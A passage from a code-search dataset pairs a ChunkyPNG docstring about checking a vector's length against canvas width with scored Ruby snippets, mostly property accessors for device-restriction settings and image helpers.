bypass_site_allowed_ips\n @attributes[:bypass_site_allowed_ips]\n end", "title": "" }, { "docid": "a7df8d6002efd2bb1f348c3390047a72", "score": "0.4427632", "text": "def secure_boot_enabled\n return @secure_boot_enabled\n end", "title": "" }, { "docid": "8b131b547d93115ff3ba172c7162c30e", "score": "0.44267142", "text": "def is_denied?\n return false if moderation_flag || moderation_flag == nil\n true\n end", "title": "" }, { "docid": "f8dea274f1e7ffa2f26078d84a6a74e7", "score": "0.44262907", "text": "def blocked?\n self.blocker_id.present?\n end", "title": "" }, { "docid": "857480430e45f777d34bc6b0017748b8", "score": "0.44206467", "text": "def default_value_noninteractive\n default_value\n end", "title": "" }, { "docid": "44e4f42f76211742b74f35c6165099a7", "score": "0.44132057", "text": "def min_android_security_patch_level\n return @min_android_security_patch_level\n end", "title": "" }, { "docid": "c5e2df430b86602780efec9942b3f626", "score": "0.44075382", "text": "def power_off_blocked=(value)\n @power_off_blocked = value\n end", "title": "" }, { "docid": "98443b46be4151a723b9c1c52fee84ca", "score": "0.44001386", "text": "def device_block_enable_restrictions\n return @device_block_enable_restrictions\n end", "title": "" }, { "docid": "55d32fb5c6ae93a0e5126c612d1fe628", "score": "0.43959975", "text": "def media_bypass_enabled\n return @media_bypass_enabled\n end", "title": "" }, { "docid": "ef76edd368052c348778d7461ba8c445", "score": "0.4386251", "text": "def overridden_status\n if @override\n @override.downcase.to_sym\n end\n end", "title": "" }, { "docid": "3ae5c04690cfd22174c18e0715e87f1f", "score": "0.43812466", "text": "def exploit_type\n Exploit::Type::Remote\n end", "title": "" }, { "docid": "ceeead38836e52a612b03fc162ca45e7", "score": "0.43749154", "text": "def blocked?\n @blocked\n end", "title": "" }, { "docid": "fad92fef6a2a1dddad56ddc810c647ff", "score": "0.43736377", "text": "def check\n\t\treturn Exploit::CheckCode::Vulnerable\n\tend", "title": "" }, { "docid": "b3d03594956d32b79f4763ecce0c5c48", "score": "0.43725824", "text": "def override_rights_statement\n %w[true 1].include?(parser.parser_fields['override_rights_statement'].to_s)\n end", "title": "" }, { "docid": "f2e115609ac1bf81ed56f755a3cc9e83", "score": "0.43710688", "text": "def blocked?\n (status == ConfigCenter::User::BLOCKED)\n end", "title": "" }, { "docid": "ceb300f5e16a9923b66b52b6680ac455", "score": "0.43684787", "text": "def kiosk_mode_allow_auto_lock\n return @kiosk_mode_allow_auto_lock\n end", "title": "" }, { "docid": "7a4ac34c3073bc27172d2af76f58a9ae", "score": "0.43679726", "text": "def blocked?\n self.blocker_id.present?\n end", "title": "" }, { "docid": "d94d1b437178066abc1fb0a4ebeaf8a9", "score": "0.4356905", "text": "def air_drop_blocked\n return @air_drop_blocked\n end", "title": "" }, { "docid": "6587fcd410eb4d8f7f971efce3055200", "score": "0.4352668", "text": "def early_launch_anti_malware_driver_enabled=(value)\n @early_launch_anti_malware_driver_enabled = value\n end", "title": "" }, { "docid": "b012d73076d6117b6eb12771454631fd", "score": "0.43459907", "text": "def app_store_blocked=(value)\n @app_store_blocked = value\n end", "title": "" }, { "docid": "0f8ffdd65eb1b87b5a02a1e41ad8e5cf", "score": "0.43262264", "text": "def pbCriticalOverride(attacker,opponent)\n return false\n end", "title": "" }, { "docid": "055f43c4412c16cbdf46380d23b6789d", "score": "0.43121246", "text": "def kiosk_mode_allow_zoom_settings\n return @kiosk_mode_allow_zoom_settings\n end", "title": "" }, { "docid": "f69fd08e80bce108aa3711a0870965ac", "score": "0.43108684", "text": "def is_escalation_enabled=(value)\n @is_escalation_enabled = value\n end", "title": "" }, { "docid": "9bbeea47f81b1a02a17bb04de982828b", "score": "0.43011683", "text": "def allow_custom_memes\n return @allow_custom_memes\n end", "title": "" }, { "docid": "10d8d0f01c16ad282aa091262095f95e", "score": "0.42994583", "text": "def is_deny?\n type == :D\n end", "title": "" }, { "docid": "e9a3beb5ac973d1806a343880491407f", "score": "0.42964655", "text": "def application_guard_block_file_transfer\n return @application_guard_block_file_transfer\n end", "title": "" }, { "docid": "ca551d8ab68cdf3005152015d7594df7", "score": "0.42874703", "text": "def bluetooth_blocked\n return @bluetooth_blocked\n end", "title": "" }, { "docid": "e1226e7598a70e6f157ae851a1ce3de5", "score": "0.42842975", "text": "def default_blacklight_config\n @default_blacklight_config ||= begin\n config = Spotlight::Engine.blacklight_config.deep_copy\n add_exhibit_specific_fields(config)\n config\n end\n end", "title": "" }, { "docid": "5013b72b1480a222ed157b98eb6a4526", "score": "0.42775705", "text": "def keyboard_block_dictation\n return @keyboard_block_dictation\n end", "title": "" }, { "docid": "84c886ea22e643ea7d56f3155567fab3", "score": "0.42767212", "text": "def defender_exploit_protection_xml_file_name=(value)\n @defender_exploit_protection_xml_file_name = value\n end", "title": "" }, { "docid": "7513d4089c1ff8cc1cedf279d581a8c2", "score": "0.42754054", "text": "def default_values\n self.isAdmin ||= false\n end", "title": "" }, { "docid": "e8a8f02d01f695381afafa6e88dab61b", "score": "0.4262313", "text": "def cellular_data_blocked\n return @cellular_data_blocked\n end", "title": "" }, { "docid": "ac2d1ecc027e4d8f7fdde8684d3a7f69", "score": "0.42582276", "text": "def host_pairing_blocked\n return @host_pairing_blocked\n end", "title": "" }, { "docid": "bc0e1a5676513f86b592eb0faa59c317", "score": "0.4257243", "text": "def keyboard_block_dictation=(value)\n @keyboard_block_dictation = value\n end", "title": "" }, { "docid": "e786f14fb719b5e1b18ff34546524007", "score": "0.4244078", "text": "def setUserAdminBlocked(block)\n @ADMIN_PROPS[\"BLOCKED\"] = block\n @ADMIN_ACCESS_CONTROL.setUserField(@USER_NAME, \"BLOCKED\", block)\n end", "title": "" }, { "docid": "af505910db44dbf1c436f9b9c4fda931", "score": "0.42391142", "text": "def screen_capture_blocked\n return @screen_capture_blocked\n end", "title": "" }, { "docid": "af505910db44dbf1c436f9b9c4fda931", "score": "0.42391142", "text": "def screen_capture_blocked\n return @screen_capture_blocked\n end", "title": "" }, { "docid": "af505910db44dbf1c436f9b9c4fda931", "score": "0.42391142", "text": "def screen_capture_blocked\n return @screen_capture_blocked\n end", "title": "" }, { "docid": "4aa45ff78dc62e3f28e6948c22954886", "score": "0.42350718", "text": "def check\n return Exploit::CheckCode::Vulnerable\n end", "title": "" }, { "docid": "d7e020e878bdf2b288ef575f3346df9b", "score": "0.42331445", "text": "def smart_screen_block_override_for_files=(value)\n @smart_screen_block_override_for_files = value\n end", "title": "" }, { "docid": "5a348cb1ca28c9620209fdbfa23a0912", "score": "0.42329514", "text": "def overrides(val = NULL_ARG)\n @overrides = val unless val.equal?(NULL_ARG)\n @overrides\n end", "title": "" }, { "docid": "2397cebaeb0225140445871cb1767619", "score": "0.4228642", "text": "def exploit?\n\t\treturn (type == MODULE_EXPLOIT)\n\tend", "title": "" } ]
c2e0a221baf16ed66c5773ee22b5edff
Throws an exception if the vector_length does not match this canvas' width. source://chunky_png//lib/chunky_png/canvas.rb354
[ { "docid": "15435bc91a4cfa9ca1c752326b680ad9", "score": "0.69533837", "text": "def assert_width!(vector_length); end", "title": "" } ]
[ { "docid": "b3e6706e02133ec1c590775df94b5305", "score": "0.7603301", "text": "def assert_width!(vector_length)\n if width != vector_length\n raise ChunkyPNG::ExpectationFailed,\n \"The length of the vector (#{vector_length}) does not match the canvas width (#{width})!\"\n end\n true\n end", "title": "" }, { "docid": "4571b9ffcd6526d4ee4ccf71c035f9ce", "score": "0.64306045", "text": "def assert_height!(vector_length)\n if height != vector_length\n raise ChunkyPNG::ExpectationFailed,\n \"The length of the vector (#{vector_length}) does not match the canvas height (#{height})!\"\n end\n true\n end", "title": "" }, { "docid": "f6a86afa9f499e98f005cd92b4163d62", "score": "0.62874323", "text": "def assert_height!(vector_length); end", "title": "" }, { "docid": "c373121339ccb3089a668990010267fd", "score": "0.5868782", "text": "def length\n @canvas.length\n end", "title": "" }, { "docid": "11a48068796187b5e113b84bfc7841d1", "score": "0.54843944", "text": "def width\n canvas_width - right_margin - left_margin\n end", "title": "" }, { "docid": "101fc96307f0f53929e762b9920123f1", "score": "0.5412912", "text": "def create_canvas\n width_array = []\n @width.times do\n width_array << '-'\n end\n @height.times do\n height = width_array.join\n @canvas << height.to_s\n end\n end", "title": "" }, { "docid": "64177d016aac0bd507135f31814bc91d", "score": "0.5401861", "text": "def test_customWidth\n [@window, @sprite, @bitmap].each{|container|\n c = CLine.new(container, 0, 150, 100, 150, Color.hp_gauge_color1, 5)\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "8317418be060c267dd183810ae9b0dcb", "score": "0.53844875", "text": "def test_image_width_bad_params\n assert_raise NoMethodError do\n texture = nil\n imagewidth = texture.image_width\n end\n end", "title": "" }, { "docid": "1aedfc96c0841b34e18bfb79c0f3e637", "score": "0.53281116", "text": "def width\r\n return src_rect.width\r\n end", "title": "" }, { "docid": "383ee842dfc70553301f4ec3e5ba2946", "score": "0.53210884", "text": "def test_length_edgecases_zero_length\n expected = 0\n vector = Geom::Vector3d.new 0,0,0\n result = vector.length\n assert_equal(expected, result, 'The expected result for length (#{expected}) does not match the actual result (#{result})')\n end", "title": "" }, { "docid": "7365cdcc78e92df80b4a1dd6492393e2", "score": "0.5277071", "text": "def width=(v)\r\n return if v<0\r\n @width = v\r\n yuri_draw_window if @width>0 and @height>0\r\n end", "title": "" }, { "docid": "81373643e9701861471ac17ef0945992", "score": "0.52661866", "text": "def original_width; end", "title": "" }, { "docid": "b316fb8deabec4f5a174534c524fff05", "score": "0.5230713", "text": "def test_that_pngfyer_set_text_raises_too_many_text_lines_error_when_text_and_vertical_spacing_exceed_4K_height\n test_pngfyer.set_vertical_spacing(0)\n supported_line_count = 2160 / 9\n\n # test with text that has one line more than is supported\n line_count_exceeding_text = String.new\n supported_line_count.times do |_|\n supported_sample_text = supported_ascii_characters_without_newline.sample(10).join\n line_count_exceeding_text << \"#{supported_sample_text}\\n\"\n end\n line_count_exceeding_text << 'This line exceeds the supported line count!'\n\n assert_raises(AsciiPngfy::Exceptions::TooManyTextLinesError) do\n test_pngfyer.set_text(line_count_exceeding_text)\n end\n end", "title": "" }, { "docid": "ef11af4a30d269b5d8ea86656b5fb19f", "score": "0.52141935", "text": "def size(width,height)\n @surface = Cairo::ImageSurface.new(width,height)\n @canvas = Cairo::Context.new(@surface)\n background(1,1,1,1)\n no_stroke\n fill_color(0,0,0,1)\nend", "title": "" }, { "docid": "1c234b3dc55b187514c83b7d63449ff0", "score": "0.5213092", "text": "def check_size_constraints!(other, offset_x, offset_y)\n raise ChunkyPNG::OutOfBounds, \"Background image width is too small!\" if width < other.width + offset_x\n raise ChunkyPNG::OutOfBounds, \"Background image height is too small!\" if height < other.height + offset_y\n end", "title": "" }, { "docid": "1c234b3dc55b187514c83b7d63449ff0", "score": "0.5213092", "text": "def check_size_constraints!(other, offset_x, offset_y)\n raise ChunkyPNG::OutOfBounds, \"Background image width is too small!\" if width < other.width + offset_x\n raise ChunkyPNG::OutOfBounds, \"Background image height is too small!\" if height < other.height + offset_y\n end", "title": "" }, { "docid": "4319ee5b1417c27ff1ffcbcced2bce43", "score": "0.5200583", "text": "def canvas_size\n @size + @padding * 2\n end", "title": "" }, { "docid": "b78d1cea37172d486a0ab89900bb3919", "score": "0.51985097", "text": "def safe(x, y, length, height, control)\n return false if (x < 0 || x >= length) || (y < 0 || y >= height)\n\n control[y][x]\nend", "title": "" }, { "docid": "b828a6fbd47d2b129995a0bed47311b7", "score": "0.5180957", "text": "def drawForce(vector, inImage:image)\n UIGraphicsBeginImageContext(image.size)\n image.drawInRect(CGRectMake(0,0,image.size.width,image.size.height))\n context = UIGraphicsGetCurrentContext()\n\n # max x and y 500?\n # Minh comments: vector magnitude is found to be very large, say 250000\n # why?\n\n if vector.x.abs > 0 || vector.y.abs > 0\n p \"vector #{vector.x}, #{vector.y}\"\n draw_force_arrow(context,CGPointMake(((-vector.x+500*250)/250000)*image.size.width, ((vector.y+500*250)/250000)*image.size.height),CGPointMake(((vector.x+500*250)/250000)*image.size.width, ((-vector.y+500*250)/250000)*image.size.height))\n else\n p \"random #{vector.x}, #{vector.y}\"\n # draw a random force\n (-1..1).each do |i|\n (-1..1).each do |j|\n if (i == j || i == -j) && (i != 0)\n vector = CGPointMake(100000*i, 100000*j)\n #puts \"draw vector #{vector}\"\n draw_force_arrow(context,CGPointMake(image.size.width/2, image.size.height/2),CGPointMake(((vector.x+500*250)/250000)*image.size.width, ((-vector.y+500*250)/250000)*image.size.height))\n end\n end\n end\n end\n\n\n newImage = UIGraphicsGetImageFromCurrentImageContext()\n UIGraphicsEndImageContext()\n\n newImage\n end", "title": "" }, { "docid": "d72e678d26738e2c05a5874a31f38b9b", "score": "0.5148274", "text": "def width\n @png.width\n end", "title": "" }, { "docid": "d72e678d26738e2c05a5874a31f38b9b", "score": "0.51475805", "text": "def width\n @png.width\n end", "title": "" }, { "docid": "fe8b5d4392f1c324d1717b04ab9fa7b9", "score": "0.5147436", "text": "def validate_dimensions\n manipulate! do |img|\n if img.dimensions.any?{|i| i > 8000 }\n raise CarrierWave::ProcessingError, \"dimensions too large\"\n end\n img\n end\n end", "title": "" }, { "docid": "b8c9969ede9d731b2d8210213fc3485f", "score": "0.5140961", "text": "def view_actual_size!\n @source_x = 0\n @source_y = 0\n @source_w = @w\n @source_h = @h\n end", "title": "" }, { "docid": "cafc2c49bb69c6560e9639a8d02d7d5e", "score": "0.51327515", "text": "def OnCanvasSizeChange(sender, sel, event)\r\n #log_sometext(\"OnSizeChange w:#{@canvas_disp.width}, h:#{@canvas_disp.height}\\n\")\r\n adapt_to_canvas = false\r\n \r\n resolution = 3\r\n #check height\r\n if @imgDbuffHeight + resolution < @canvas_disp.height\r\n adapt_to_canvas = true\r\n elsif @imgDbuffHeight > @canvas_disp.height + resolution\r\n adapt_to_canvas = true\r\n end\r\n # check width\r\n if @imgDbuffWidth + resolution < @canvas_disp.width\r\n adapt_to_canvas = true\r\n elsif @imgDbuffWidth > @canvas_disp.width + resolution\r\n adapt_to_canvas = true\r\n end\r\n if adapt_to_canvas\r\n # need to recreate a new image double buffer \r\n @imgDbuffHeight = @canvas_disp.height\r\n @imgDbuffWidth = @canvas_disp.width\r\n \r\n @image_double_buff = FXImage.new(getApp(), nil, \r\n IMAGE_SHMI|IMAGE_SHMP, @imgDbuffWidth, @imgDbuffHeight)\r\n @image_double_buff.create\r\n #notify change to the current gfx\r\n begin\r\n @current_game_gfx.onSizeChange(@imgDbuffWidth, @imgDbuffHeight ) if @current_game_gfx\r\n rescue => detail\r\n @log.error \"onSizeChange error (#{$!})\"\r\n @log.error detail.backtrace.join(\"\\n\")\r\n end\r\n end\r\n \r\n end", "title": "" }, { "docid": "dca951aabcf53fa844eb0f6a13464591", "score": "0.51187885", "text": "def test_image_width_edgecases\n\n # Test image_width value is as expected\n m = Sketchup.active_model.materials.add 'Test Color'\n m.texture = @test_valid_texture\n texture = m.texture\n imagewidth = texture.image_width\n expected_imagewidth = 380\n assert_equal(expected_imagewidth, imagewidth,\n \"\\nWe expected to see a width of \" + \n \"#{expected_imagewidth} pixels and got \" +\n \"#{imagewidth} \\n\")\n end", "title": "" }, { "docid": "fbf4f77b3b831673e294aee0f1da5113", "score": "0.5106363", "text": "def can_fit_width?(width)\n @cursor_x + width + 1 < @texture.width\n end", "title": "" }, { "docid": "e6fa615aaf67edfb9efb10159cc73693", "score": "0.51057804", "text": "def check_dimensions\n # puts \"------\"\n # logger.debug(\"#{visual.width} - #{visual.height}\")\n if !visual_cache.nil? && (visual.width < 1200 || visual.height < 600)\n errors.add :visual, 'Dimension too small.'\n end\n end", "title": "" }, { "docid": "37126266b0f96ce340573480c8c358c4", "score": "0.5098329", "text": "def validate_dimensions\n raise DimensionsError unless width * height <= 300000\n end", "title": "" }, { "docid": "fb81af9d0b6c45dad495828c1c303cab", "score": "0.50830436", "text": "def width\n canvas[\"resource\"][\"width\"].to_i\n end", "title": "" }, { "docid": "167992bb258e3fad799ace717dd9f379", "score": "0.50706476", "text": "def length\n\t\tv = getVect()\n\t\tv.length - @margin1 -@margin2\n\tend", "title": "" }, { "docid": "8d929e2cfb47c7602d5cbc3af3acc103", "score": "0.5061629", "text": "def test_that_pngfyer_set_text_raises_too_many_text_lines_error_with_helpful_message_when_text_contains_too_many_lines\n test_pngfyer.set_vertical_spacing(0)\n supported_line_count = 2160 / 9\n\n # test with text that has one line more than is supported\n line_count_exceeding_text = String.new\n supported_line_count.times do |_|\n supported_sample_text = supported_ascii_characters_without_newline.sample(10).join\n line_count_exceeding_text << \"#{supported_sample_text}\\n\"\n end\n line_count_exceeding_text << 'This line exceeds the supported line count!'\n\n capped_text = \"#{line_count_exceeding_text[0, 29]}..#{line_count_exceeding_text[-29..]}\"\n\n expected_error_message = \"The text #{capped_text.inspect} contains too many lines to be represented in a 2160 \"\\\n 'pixel high png. Hint: Use less text lines and/or reduce the vertical character spacing.'\n\n error_raised = assert_raises(AsciiPngfy::Exceptions::TooManyTextLinesError) do\n test_pngfyer.set_text(line_count_exceeding_text)\n end\n\n assert_equal(expected_error_message, error_raised.message)\n end", "title": "" }, { "docid": "f3073f932cdfe3b9ca5db6cb70d9322d", "score": "0.50452656", "text": "def size_canvas\n # Use the attributes because using the css means the canvas\n # stretches.\n `#@canvas.canvas.width = #{ @grid.x * @cell.w}`\n `#@canvas.canvas.height = #{@grid.y * @cell.h}`\n return true\n end", "title": "" }, { "docid": "a4d8a46bd7d4a0f0cd50b503eeb384c4", "score": "0.5044406", "text": "def assert_size!(matrix_width, matrix_height); end", "title": "" }, { "docid": "2f9b3eebb82890d9017c8dd71567bc64", "score": "0.5036481", "text": "def test_set_size_bad_params\n\n # Test assertion occurs when method is called on a nil texture\n assert_raise NoMethodError do\n texture = nil\n size = texture.size= 60\n end\n\n # Test assertion occurs when texture size is set to 0\n m = Sketchup.active_model.materials.add 'Test Color'\n m.texture = @test_valid_texture\n texture = m.texture\n assert_raise ArgumentError do\n size = texture.size = 0\n end\n\n # Test assertion occurs when texture size is set to nil\n assert_raise TypeError do\n size = texture.size = nil\n end\n end", "title": "" }, { "docid": "95cf2c4deb2933fed812c9aa84438d9c", "score": "0.50308216", "text": "def test_widthResize\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(100, 24, 100, 50), BITMAP, ICON_RECT)\n c.resize_mode = 1\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "c029b09da1efa72767db8c83573ad283", "score": "0.50301355", "text": "def replace_canvas!(new_width, new_height, new_pixels); end", "title": "" }, { "docid": "c554eb80bc1c2c061c6174bf8fffed84", "score": "0.50243735", "text": "def width\n @graphic.split(\"\\n\").map(&:length).max\n end", "title": "" }, { "docid": "0da7b3e02290659a99e96aea39bcf3e9", "score": "0.5022962", "text": "def width\n return @sizeX ;\n end", "title": "" }, { "docid": "0da7b3e02290659a99e96aea39bcf3e9", "score": "0.5022962", "text": "def width\n return @sizeX ;\n end", "title": "" }, { "docid": "7a06b0003a2624cf00b401654368eebc", "score": "0.5016572", "text": "def check_size_constraints!(other, offset_x, offset_y); end", "title": "" }, { "docid": "659c43598e3a4626e566a669bf080826", "score": "0.4997393", "text": "def initialize\n @size_x = 10\n @size_y = 10\n end", "title": "" }, { "docid": "c6f596305c16b7d50fadd6ecfa04ea40", "score": "0.49919626", "text": "def logo_dimensions_validation\n if logo.queued_for_write[:original]\n dimensions = Paperclip::Geometry.from_file(logo.queued_for_write[:original].path) \n if dimensions.width > 200 && dimensions.height > 200\n errors.add(:logo,'width and height must be in 200x200')\n end\n end \n end", "title": "" }, { "docid": "4516be2af88a2b709ffe6b7bce614105", "score": "0.4986506", "text": "def assert_size!(matrix_width, matrix_height)\n if width != matrix_width\n raise ChunkyPNG::ExpectationFailed,\n \"The width of the matrix does not match the canvas width!\"\n end\n if height != matrix_height\n raise ChunkyPNG::ExpectationFailed,\n \"The height of the matrix does not match the canvas height!\"\n end\n true\n end", "title": "" }, { "docid": "a765934fad1396f680834d163b050b2a", "score": "0.4986208", "text": "def test_cutOverflow\n [@window, @sprite, @bitmap].each{|container|\n c = CLabel.new(container, Rect.new(320, 48, 100, 24), \"Long Long Long Long Label\")\n c.cut_overflow = true\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "d897b57aed52f4a2a9c2be0eef447980", "score": "0.49848375", "text": "def width\n @width ? @width : @sprite.width \n end", "title": "" }, { "docid": "5ba53da7a310430fa27f7a6df33559e7", "score": "0.49846527", "text": "def length\n\t\t@length ||= size_x.to_i*size_y.to_i*size_z.to_i\n\tend", "title": "" }, { "docid": "78f74b11bd8d6ecb3e8608650eafde0c", "score": "0.4980207", "text": "def width\n @graphic_width ||= 0\n end", "title": "" }, { "docid": "2ed657f18d5c3addbda7dc1761328563", "score": "0.49686", "text": "def width\n @width ||= size.last.split('x').first.strip!.to_i\n end", "title": "" }, { "docid": "952ac2b3df096d0ebab1dcc5f21fac35", "score": "0.4967889", "text": "def width\n bitmap.width\n end", "title": "" }, { "docid": "8a0c92f1d584f5afe68d572b839a3f4e", "score": "0.4964842", "text": "def vector_to_png_inches(height_in_inches)\n original = ::Magick::Image.read(current_path).first\n hl_density = (72.0*height_in_inches*600.0)/original.rows.to_f\n wl_density = (72.0*height_in_inches*600.0*4.25)/original.columns.to_f\n density = original.rows.to_f/original.columns.to_f > 4.25 ? wl_density : hl_density\n original.destroy!\n vector_to_png density\n end", "title": "" }, { "docid": "e0387599a8491f72cbba3ceadbdf71be", "score": "0.49209607", "text": "def pixelWidth\n width*256\n end", "title": "" }, { "docid": "5bcc94338ce1d0e07cc0f81192c319f7", "score": "0.49181017", "text": "def test_border_4Vertices\n [@window, @sprite, @bitmap].each{|container|\n c = CPolygon.new(container, [[250,200],[300,200],[300,250],[250,250]], nil, false, nil,\n 1, Color.hp_gauge_color1)\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "b5d5cfdd30388de63e294c545e4dca97", "score": "0.49117267", "text": "def vpwidth\n end", "title": "" }, { "docid": "20382a3d5e08d502a07b5c6d5bde60fc", "score": "0.4906194", "text": "def assert_x!(x)\n unless include_x?(x)\n raise ChunkyPNG::OutOfBounds, \"Column index #{x} out of bounds!\"\n end\n true\n end", "title": "" }, { "docid": "6a3ddd66253e7b822b91ac1669ff63a9", "score": "0.4901931", "text": "def scaling?\n @av_codec_ctx[:width] != @width or\n @av_codec_ctx[:height] != @height or\n @av_codec_ctx[:pix_fmt] != @pixel_format\n end", "title": "" }, { "docid": "138e6284576a1c54efb24177a40453ec", "score": "0.48946744", "text": "def width\n @sdl_surface.w\n end", "title": "" }, { "docid": "b6525e6ab0612c223104b128d46895bc", "score": "0.48813558", "text": "def calc_width\n Graphics.width\n end", "title": "" }, { "docid": "d09c4c5be102e5ca753273886e992068", "score": "0.4877436", "text": "def test_invalid_colour1\n assert_raises ArgumentError do\n @small_bitmap.paint_pixel(1, 1, 'a')\n end\n end", "title": "" }, { "docid": "6ee78c0061b5c8eb87962e4439b93aab", "score": "0.4873485", "text": "def assert_x!(x)\n raise ChunkyPNG::OutOfBounds, \"Column index out of bounds!\" unless include_x?(x)\n return true\n end", "title": "" }, { "docid": "e9cbfcce6fcfe6bb248c92f6e7a03b2b", "score": "0.48626125", "text": "def test_length_right\n\t\t@line1 = Line.new(Point.new(1.0, 1.0), Point.new(5.0, 1.0))\n\t\tassert_equal 4.0, @line1.length, \"Line1 should have length 4\"\n\tend", "title": "" }, { "docid": "fd1456c127756e1fef6bcbaa4aae4078", "score": "0.48622474", "text": "def length\n self.vector.mag\n end", "title": "" }, { "docid": "f0e4deeb3bed35ab8df1c45b2718d2ca", "score": "0.48605764", "text": "def get_canvas_sizes\n @canvas_width = 0\n @canvas_height = 0\n canvas.each do |shape|\n #if shape.respond_to?(:at) && false\n #@canvas_width = shape.at[0] if shape.at[0] > @canvas_width\n #@canvas_height = shape.at[1] if shape.at[1] > @canvas_height\n #else\n #shape = shape.to_path\n shape = shape.to_simple_path\n\n if shape.class == VectorSalad::StandardShapes::Path\n shape.nodes.each do |node|\n @canvas_width = node.at[0] if node.at[0] > @canvas_width\n @canvas_height = node.at[1] if node.at[1] > @canvas_height\n end\n else # MultiPath\n shape.paths.each do |path|\n path.nodes.each do |node|\n @canvas_width = node.at[0] if node.at[0] > @canvas_width\n @canvas_height = node.at[1] if node.at[1] > @canvas_height\n end\n end\n end\n #end\n end\n end", "title": "" }, { "docid": "5b9916eac802cc8216872890eac1d191", "score": "0.4855667", "text": "def length\n @vector.size\n end", "title": "" }, { "docid": "cae0f5471bab75e985c0f44372a2990e", "score": "0.4851086", "text": "def test_paint_vertical_reverse_args\n @large_bitmap.paint_vertical(4, 9, 2, 'V')\n pixels = (1..10).collect { |y| @large_bitmap.grid.get_value_at_point(4, y) }\n assert_equal 'OVVVVVVVVO', pixels.join\n end", "title": "" }, { "docid": "7adde86a39c1118820765e080f4fa20d", "score": "0.48438364", "text": "def dimension; end", "title": "" }, { "docid": "7adde86a39c1118820765e080f4fa20d", "score": "0.48438364", "text": "def dimension; end", "title": "" }, { "docid": "7adde86a39c1118820765e080f4fa20d", "score": "0.48438364", "text": "def dimension; end", "title": "" }, { "docid": "aff69e3899e7ab2d85b334f72b6125f6", "score": "0.48417732", "text": "def dynamic_width; end", "title": "" }, { "docid": "aff69e3899e7ab2d85b334f72b6125f6", "score": "0.48417732", "text": "def dynamic_width; end", "title": "" }, { "docid": "7f567ae8763913fdd8eaa40da299c7e9", "score": "0.48379406", "text": "def layer!\n surface = @surface\n t, r, b, l = @top_margin, @right_margin, @bottom_margin, @left_margin\n dimensions @canvas_width, @canvas_height\n margin t, r, b, l\n surface\n end", "title": "" }, { "docid": "9e03f34318bf14f49e224d6587e125c5", "score": "0.48305196", "text": "def ex\n self.x + width\n end", "title": "" }, { "docid": "c4e38eb2d3e7c0b231161d53f3c87a1e", "score": "0.48303336", "text": "def draw_positions_count\n (2 * size) - 1\n end", "title": "" }, { "docid": "181f56ee52ae6e887dc91f72b85a8292", "score": "0.48238927", "text": "def initialize canvas\n @height = canvas.height\n @width = canvas.width\n @bits = 8\n @data = canvas.data\n end", "title": "" }, { "docid": "0665172ec60d0fae2471cd990879ab7b", "score": "0.4820752", "text": "def area\n @length * @width\n end", "title": "" }, { "docid": "3cd242d5a0d7739981929fc36d311dc6", "score": "0.48166338", "text": "def test_throws_an_error_if_rule_isnt_odd_width\n assert_raises ConvolutionMatrixSizeError do\n odd_width_conv = Grid.new(\n [\n [1, 1, 1, 1],\n [1, 1, 1, 1],\n [1, 1, 1, 1]\n ]\n )\n GridConvoluter.new(odd_width_conv).convolute(@original_grid)\n end\n end", "title": "" }, { "docid": "beb9f66275a1918820eec216d94ca529", "score": "0.48161122", "text": "def vec_from_size\n @width = @width ? width : @sprite.width\n @height = @height ? height : @sprite.height\n half_width = @width / 2\n half_height = @height / 2\n \n [CP::Vec2.new(-half_width,-half_height), CP::Vec2.new(-half_width, half_height), CP::Vec2.new(half_width, half_height), CP::Vec2.new(half_width,-half_height)]\n\n end", "title": "" }, { "docid": "66f3e18c2ca67b1102e039961a7fcf3f", "score": "0.48147386", "text": "def validate_frame_length\n if @frames.count < 10\n @errors << 'Number of rolls is too short'\n elsif @frames.count > 10\n @errors << 'Number of rolls is too long'\n end\n end", "title": "" }, { "docid": "38e40ef92d7d7b19f8dd5a372ffa9a9e", "score": "0.48123658", "text": "def num_rects length, width\n sum = 0\n (1..length).each do |l|\n (1..width).each do |w|\n sum += l * w\n end\n end\n sum\nend", "title": "" }, { "docid": "3686fd0c6cc7e815caabb4a3560731e4", "score": "0.4807386", "text": "def visual_length\n # Regex shamelessly taken from https://stackoverflow.com/a/56206076/16164934\n @string.gsub(/\\e\\[[^\\x40-\\x7E]*[\\x40-\\x7E]/, \"\").length\n end", "title": "" }, { "docid": "2fe3deb9816d6b3e6a277726193ee745", "score": "0.48043698", "text": "def setup_dimensions\r\n # Gets Back Bitmap\r\n bitmap = RPG::Cache.gradient(@border)\r\n # Get Width\r\n @width = max_width.nil? ? bitmap.width : [bitmap.width, max_width].min\r\n # Get Height\r\n @height = max_height.nil? ? bitmap.height : [bitmap.height, max_height].min\r\n end", "title": "" }, { "docid": "8f66f68973a2dc911d36375216c02033", "score": "0.47980455", "text": "def validate_dimensions\n l = @maze_array[0].length\n @maze_array.each { |row| raise 'Maze is not rectangular' if row.length != l }\n end", "title": "" }, { "docid": "49bdf91f5caf42194ee1540c8b030366", "score": "0.4797957", "text": "def length\n return @rectangles.length\n end", "title": "" }, { "docid": "4c59bc2a8dbaf52aeff4750f84d0798c", "score": "0.47906482", "text": "def pos_out_of_range(position)\n Error \"RectangularPosition out of range! (#{position.x_pos}, #{position.y_pos}) given, \" \\\n \"but the minefield is #{@width} by #{@height}.\"\n end", "title": "" }, { "docid": "f56906c791b48a42ba8947d8eefb2cc5", "score": "0.47887897", "text": "def rectArea(length, width)\n length * width\nend", "title": "" }, { "docid": "66b0ade9a4b1a5ea0c50993b4943ffd5", "score": "0.47881195", "text": "def width\n return @texture ? @texture.width : 0\n end", "title": "" }, { "docid": "7a332fe196ae8f35201a328e58de4b0e", "score": "0.478754", "text": "def fit_to_width; end", "title": "" }, { "docid": "5151460036302ea7f9a0557f3d47dac1", "score": "0.47861275", "text": "def rect(canvas, width, height)\n height.times do |y|\n width.times do |x|\n canvas[y][x] = \"#\"\n end\n end\nend", "title": "" }, { "docid": "7a0149b279fc0ab2be12c5eb5439de33", "score": "0.47822526", "text": "def validate_winning_line_length(len)\n unless len >= 3 && len <= side\n raise ArgumentError, \"Length must be >= 3 and <= #{side}.\"\n end\n len\n end", "title": "" }, { "docid": "3b5dfb1e551dd3b82aa05b0c8e44070b", "score": "0.47769886", "text": "def OnSizeChange(sender, sel, event)\n #log_sometext(\"OnSizeChange 